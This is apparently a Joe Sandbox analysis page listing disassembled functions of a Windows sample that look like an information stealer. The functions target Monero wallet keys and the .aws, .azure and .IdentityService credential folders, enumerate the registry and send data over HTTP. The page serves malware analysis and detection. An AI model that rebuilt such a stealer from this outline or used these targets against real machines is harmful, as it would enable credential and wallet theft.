Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 9ac84e1d2aa83c7dac65edf4e640bd4735a70553efb59db25b1ca0cc1e26f2f9
Instruction ID: f0f140a328095a96e3c0c32d3635b1939efe3ff56889626cdb7b6fb6510b4aae
Opcode Fuzzy Hash: 9ac84e1d2aa83c7dac65edf4e640bd4735a70553efb59db25b1ca0cc1e26f2f9
Instruction Fuzzy Hash: 4012E971820118FADB15FBA0DC99FEEB378BF54700F5041A9F106664A1EF787A4ACB61

Function 007ACEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007B8B60: GetSystemTime.KERNEL32(007C0E1A,013FB6A8,007C05AE,?,?,007A13F9,?,0000001A,007C0E1A,00000000,?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007B8B86

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007ACF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007AD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 007AD0CE
lstrcat.KERNEL32(?,00000000), ref: 007AD208
lstrcat.KERNEL32(?,007C1478), ref: 007AD217
lstrcat.KERNEL32(?,00000000), ref: 007AD22A
lstrcat.KERNEL32(?,007C147C), ref: 007AD239
lstrcat.KERNEL32(?,00000000), ref: 007AD24C
lstrcat.KERNEL32(?,007C1480), ref: 007AD25B
lstrcat.KERNEL32(?,00000000), ref: 007AD26E
lstrcat.KERNEL32(?,007C1484), ref: 007AD27D
lstrcat.KERNEL32(?,00000000), ref: 007AD290
lstrcat.KERNEL32(?,007C1488), ref: 007AD29F
lstrcat.KERNEL32(?,00000000), ref: 007AD2B2
lstrcat.KERNEL32(?,007C148C), ref: 007AD2C1
lstrcat.KERNEL32(?,00000000), ref: 007AD2D4
lstrcat.KERNEL32(?,007C1490), ref: 007AD2E3

Part of subcall function 007BA820: lstrlen.KERNEL32(007A4F05,?,?,007A4F05,007C0DDE), ref: 007BA82B
Part of subcall function 007BA820: lstrcpy.KERNEL32(007C0DDE,00000000), ref: 007BA885

lstrlen.KERNEL32(?), ref: 007AD32A
lstrlen.KERNEL32(?), ref: 007AD339

Part of subcall function 007BAA70: StrCmpCA.SHLWAPI(013F8EE0,007AA7A7,?,007AA7A7,013F8EE0), ref: 007BAA8F

DeleteFileA.KERNEL32(00000000), ref: 007AD3B4

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: fee922492af85077b5506ced79e530dd5cbf92a2dbe700d54d5e106c7dcc3714
Instruction ID: acf676cf9b15cab07afbc2a858acd1bc234dfc0964e192a33033188b7ae61270
Opcode Fuzzy Hash: fee922492af85077b5506ced79e530dd5cbf92a2dbe700d54d5e106c7dcc3714
Instruction Fuzzy Hash: 3DE1F871910108FBDB15FBA0DD9AFEE7378AF54301F504168F106A64A1DE39BE09DBA2

Function 007A4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007A4839
Part of subcall function 007A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007A4849

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007A4915
StrCmpCA.SHLWAPI(?,013FFAA0), ref: 007A493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007A4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,007C0DDB,00000000,?,?,00000000,?,",00000000,?,013FF9F0), ref: 007A4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007A4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 007A4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007A4E49
InternetCloseHandle.WININET(00000000), ref: 007A4EAD
InternetCloseHandle.WININET(00000000), ref: 007A4EC5
HttpOpenRequestA.WININET(00000000,013FF8F0,?,013FF0B8,00000000,00000000,00400100,00000000), ref: 007A4B15

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

InternetCloseHandle.WININET(00000000), ref: 007A4ECF

Strings

------, xrefs: 007A4C69
", xrefs: 007A4BF2
------, xrefs: 007A4B28
------, xrefs: 007A49BD
", xrefs: 007A4D33

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 3c3c42899967520484e827d2b723a6cf189a8be70ab22e762634cf07a02d905a
Instruction ID: 40331387fbd15dbc9fb53dfd2dfa3e538f652f162de92dde2283629aee4190b4
Opcode Fuzzy Hash: 3c3c42899967520484e827d2b723a6cf189a8be70ab22e762634cf07a02d905a
Instruction Fuzzy Hash: 1512B971910218FADB15FB90DCAAFEEB378AF55300F5041A9B10666491EF783F49CB62

Function 007B8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

RegOpenKeyExA.KERNEL32(00000000,013FC2D8,00000000,00020019,00000000,007C05B6), ref: 007B83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007B8426
wsprintfA.USER32 ref: 007B8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 007B847B
RegCloseKey.ADVAPI32(00000000), ref: 007B848C
RegCloseKey.ADVAPI32(00000000), ref: 007B8499

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Strings

?, xrefs: 007B837A
%s\%s, xrefs: 007B844D
- , xrefs: 007B85A3

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 50ece81edde8c0786f56a4099daf2a34eac2d5219a552f0777db3207ea82b48e
Instruction ID: 130e0eb74c80d7d67e19319ee5d6dc48fd10a4ce5c7320fa2eee1b7f8f015e44
Opcode Fuzzy Hash: 50ece81edde8c0786f56a4099daf2a34eac2d5219a552f0777db3207ea82b48e
Instruction Fuzzy Hash: 0981FCB1914118EBDB64EB54CC95FEAB7B8BF08700F008299F109A6151DF756F85CFA1

Function 007A6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007A4839
Part of subcall function 007A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007A4849

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

InternetOpenA.WININET(007C0DFE,00000001,00000000,00000000,00000000), ref: 007A62E1
StrCmpCA.SHLWAPI(?,013FFAA0), ref: 007A6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 007A6335
HttpOpenRequestA.WININET(00000000,GET,?,013FF0B8,00000000,00000000,00400100,00000000), ref: 007A6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007A63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007A63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 007A63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 007A646D
InternetCloseHandle.WININET(00000000), ref: 007A64EF
InternetCloseHandle.WININET(00000000), ref: 007A64F9
InternetCloseHandle.WININET(00000000), ref: 007A6503

Strings

GET, xrefs: 007A637C
ERROR, xrefs: 007A6407
ERROR, xrefs: 007A64C9

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 8800b59e0c7aeea09ff5af7fcd026b3396899e375a2b4cba987cb0637bcaeb9d
Instruction ID: 9bbc50404636b74d1c143068a4bee156f6fb3554dd14b5eb47a768a4bfd65973
Opcode Fuzzy Hash: 8800b59e0c7aeea09ff5af7fcd026b3396899e375a2b4cba987cb0637bcaeb9d
Instruction Fuzzy Hash: 04714071A10258FBDB24EBA0CC99FEE7774BB49700F108158F1096B190DBB96E85CF51

Function 007B5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA820: lstrlen.KERNEL32(007A4F05,?,?,007A4F05,007C0DDE), ref: 007BA82B
Part of subcall function 007BA820: lstrcpy.KERNEL32(007C0DDE,00000000), ref: 007BA885

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007B5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007B56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007B5857

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007B51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007B5228

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Part of subcall function 007B52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007B5318
Part of subcall function 007B52C0: lstrlen.KERNEL32(00000000), ref: 007B532F
Part of subcall function 007B52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 007B5364
Part of subcall function 007B52C0: lstrlen.KERNEL32(00000000), ref: 007B5383
Part of subcall function 007B52C0: lstrlen.KERNEL32(00000000), ref: 007B53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007B578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 007B5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 007B5A0C
Sleep.KERNEL32(0000EA60), ref: 007B5A1B

Strings

ERROR, xrefs: 007B5932
ERROR, xrefs: 007B5636
ERROR, xrefs: 007B577D
ERROR, xrefs: 007B5693
ERROR, xrefs: 007B5849
ERROR, xrefs: 007B59FE

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 67bddfc5f283c693f632baba0223213df9adf98c2c3892906bc2746ce2c67b3b
Instruction ID: cce3d907512fe57925c1311b304de9ea9c143b397fd29f53b2e53edb25125408
Opcode Fuzzy Hash: 67bddfc5f283c693f632baba0223213df9adf98c2c3892906bc2746ce2c67b3b
Instruction Fuzzy Hash: 13E11E71910208FADB15FBA0DC9AFED7778AF54300F508528F506665A1EF3C6E09CBA2

Function 007B4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 007B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 007B8E0B

lstrcat.KERNEL32(?,00000000), ref: 007B4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 007B4DCD

Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B492C
Part of subcall function 007B4910: FindFirstFileA.KERNEL32(?,?), ref: 007B4943

lstrcat.KERNEL32(?,00000000), ref: 007B4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 007B4E59

Part of subcall function 007B4910: StrCmpCA.SHLWAPI(?,007C0FDC), ref: 007B4971
Part of subcall function 007B4910: StrCmpCA.SHLWAPI(?,007C0FE0), ref: 007B4987
Part of subcall function 007B4910: FindNextFileA.KERNEL32(000000FF,?), ref: 007B4B7D
Part of subcall function 007B4910: FindClose.KERNEL32(000000FF), ref: 007B4B92

lstrcat.KERNEL32(?,00000000), ref: 007B4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 007B4EE5

Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B49B0
Part of subcall function 007B4910: StrCmpCA.SHLWAPI(?,007C08D2), ref: 007B49C5
Part of subcall function 007B4910: wsprintfA.USER32 ref: 007B49E2
